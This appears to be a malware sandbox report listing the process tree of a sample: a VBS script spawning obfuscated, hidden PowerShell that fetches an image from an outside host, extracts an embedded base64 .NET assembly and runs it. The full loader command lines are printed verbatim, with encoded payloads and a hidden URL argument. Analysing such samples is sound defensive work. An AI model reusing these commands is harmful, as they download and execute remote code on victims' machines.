| ZeroBOX

Behavioral Analysis

Process tree

  • wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\VIBINVES.vbs

    416
    • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = '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';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('nQYwNkKRZP','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"

      2164
      • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/644/749/original/new_image.jpg?1698084523';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0LjQ2ZXNhYnJvdHNldm5pLzEyMS4zMy4yNC4zOTEvLzpwdHRo' , 'dfdfd' , 'dfdf' , 'dfdf' , 'dadsa' , 'de' , 'cu'))"

        2284

Process contents

No process loaded Click on a process in the tree above to load its data.